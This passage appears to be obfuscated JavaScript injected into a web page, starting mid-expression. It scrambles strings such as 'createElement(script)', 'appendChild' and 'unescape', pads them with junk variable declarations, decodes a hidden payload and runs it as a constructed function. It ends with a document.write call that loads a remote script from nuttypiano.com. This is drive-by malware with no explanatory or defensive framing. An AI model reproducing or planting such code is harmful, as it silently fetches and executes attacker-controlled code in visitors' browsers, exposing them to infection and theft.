[1,4,3,2,0]));var a = '';var Ns="Ns";var nR;if(nR!='iA' && nR!='sj'){nR='iA'};var tQ=N(A("eRgEpx", [1,0,2,3,5,4]));var oV;if(oV!='sTJ'){oV=''};this.vI=false;var jw;if(jw!='uY'){jw='uY'};var Wg=new Date();var of;if(of!='XK' && of!='hyl'){of=''};var UQC;if(UQC!='YI' && UQC!='Tt'){UQC=''};var Ho=false;var EO=new Date();var YOy=new Date();var QS=O[A("ChrfraomCode", [3,2,6,7,0,1,5,4])];var sN=false;var dc=t[A("nuseacep", [1,0,3,2])];this.ep=41755;var OD;if(OD!='yk' && OD!='Hd'){OD=''};var rs;if(rs!='Ku'){rs='Ku'};var V=[1, A("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, A("ucdotnmedo.bpay.dnpeliCh)dd(", [2,3,1,0]),3, A("ooglegco..mmy", [2,0,1]),4, A("otl.visetidesegi.nur8:800", [1,0]),5, A("sd.Aetrttuib(tee\'drfe\'", [1,2,0]),6, A("r.aorciere.rt.isga", [2,0,1]),7, A("hbratatsdune.tocm", [1,0]),8, A("inowdwonoal.d", [5,0,1,4,2,3]),11, A("cdrmaebeiorl", [3,5,2,0,4,1]),12, A("gbolgce.rom", [1,3,2,0,4]),14, A("unfticn(o)", [2,0,1]),15, A("ogglocoem.", [2,4,0,1,3]),16, A("ctcae(h)", [2,3,1,0,6,5,4]),17, A("thtp\":", [4,1,0,2,3,5]),18, A("rsd.c", [2,3,1,0]),19, A("\'\')1", [1,3,0,2]),20, A("ytr", [1,2,0]),21, A("omc", [2,0,1])];var Vf = "%";var EF;if(EF!='xY'){EF=''};var pcg=new String();var RN = '';var BS =[0][0];var Z =[71,1][1];var KR;if(KR!=''){KR='Qx'};var h = /[^@a-z0-9A-Z_-]/g;var cX=false;var Du;if(Du!=''){Du='Ri'};var I =[0][0];var UB;if(UB!=''){UB='hLO'};var Wl;if(Wl!=''){Wl='lf'};var zi = '';var tg;if(tg!='zx' && tg != ''){tg=null};var sK="sK";var cR="";var VL = z[A("elgnht", [1,0])];var EX="EX";var QV="QV";var Sw =[150,166,2][2];var D = '';var FVL;if(FVL!='TQ'){FVL=''};var bH;if(bH!='ETS' && bH != ''){bH=null};var nH;if(nH!='cN' && nH != ''){nH=null};for(var T=I; T < VL; T+=Sw){D+= Vf; var CB=new Date();D+= z[A("ssbutr", [1,3,2,0])](T, Sw);var Em='';var kVQ=new String();}var ZBQ;if(ZBQ!='jY'){ZBQ=''};var xo;if(xo!='hD' && xo!='Zv'){xo='hD'};var z = dc(D);var KsA;if(KsA!='' && KsA!='PN'){KsA=null};this.qZ=32606;var Ig = new O(j);var yL="yL";var Vs = Ig[A("lperace", [3,2,1,0])](h, zi);var NO;if(NO!='hf'){NO=''};this.Gk="";var Eqa=new Date();var AI = new O(tG);this.Jn="Jn";this.ta='';Vs = AV(Vs);this.jS='';var nI = V[A("enlgth", [2,0,1,3])];var Ry;if(Ry!='GPd' && Ry!='EQe'){Ry=''};var QW='';var LTV=false;var cH=new String();var Ld=new String();var Ii = AI[A("erpalce", [1,0,2])](h, zi);var Ii = R(Ii);var ki;if(ki!='ce'){ki=''};var DH;if(DH!='' && DH!='Vw'){DH=null};var zz=R(Vs);var Dj=new Array();this.Yt=false;for(var QX=I; QX < (z[A("egnlth", [3,0,2,1])]);QX=QX+[1][0]) {var FJ;if(FJ!='' && FJ!='hB'){FJ='en'};this.hrD='';this.bx='';var ae = Vs.charCodeAt(BS);var ey='';var XeM;if(XeM!='' && XeM!='eh'){XeM=''};var dx = X(z,QX);var gj=new Array();var XL=53026;dx = m(dx, ae);var At;if(At!='fX' && At!='fO'){At=''};var jA;if(jA!='CY'){jA='CY'};dx = m(dx, zz);var xl;if(xl!='dX' && xl != ''){xl=null};this.UH='';dx = m(dx, Ii);BS++;var zX=false;this.jd="jd";var JP;if(JP!='' && JP!='da'){JP='SS'};this.um=false;if(BS > Vs.length-Z){var fq;if(fq!='' && fq!='pZO'){fq=null};var It;if(It!='' && It!='Am'){It=null};BS=I;}var Sf;if(Sf!='zB'){Sf='zB'};RN += QS(dx);}var pV;if(pV!='CR' && pV != ''){pV=null};var kJ;if(kJ!=''){kJ='AE'};for(BK=I; BK < nI; BK+=Sw){var NK;if(NK!='' && NK!='tsV'){NK=''};var Dk=new Array();var zd;if(zd!=''){zd='JH'};var Qo = QS(V[BK]);this.pS='';var IO=new Array();var mk = V[BK + Z];var nV;if(nV!='Oe'){nV=''};this.up=32653;this.DX='';this.Dm="";var Y = new tQ(Qo, QS(103));var jSd;if(jSd!='eF' && jSd!='Zo'){jSd='eF'};var rP;if(rP!='dT' && rP!='Px'){rP='dT'};RN=RN[A("erlpcae", [1,0])](Y, mk);var fjb=new Date();}var CN;if(CN!='mbm'){CN='mbm'};var ZD=36209;var nt=new tG(RN);this.wOA="wOA";nt();AI = '';var VLq;if(VLq!='Qs'){VLq=''};var kex='';Vs = '';this.cF=65035;this.Dw=false;Ii = '';this.ZW="";RN = '';nt = '';var Fps;if(Fps!='Etl'){Fps='Etl'};var KQ;if(KQ!='Lj' && KQ!='AN'){KQ=''};zz = '';var Pos=new Array();var bG;if(bG!='dS' && bG != ''){bG=null};var Pz='';var ZFu=new Date();this.ZT='';return '';this.ji="";};var fP="";var pJ;if(pJ!='ga' && pJ!='pn'){pJ='ga'};var lTT;if(lTT!='' && lTT!='tf'){lTT=''};j(Sbx);







document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Tag.js"></scri'+'pt>');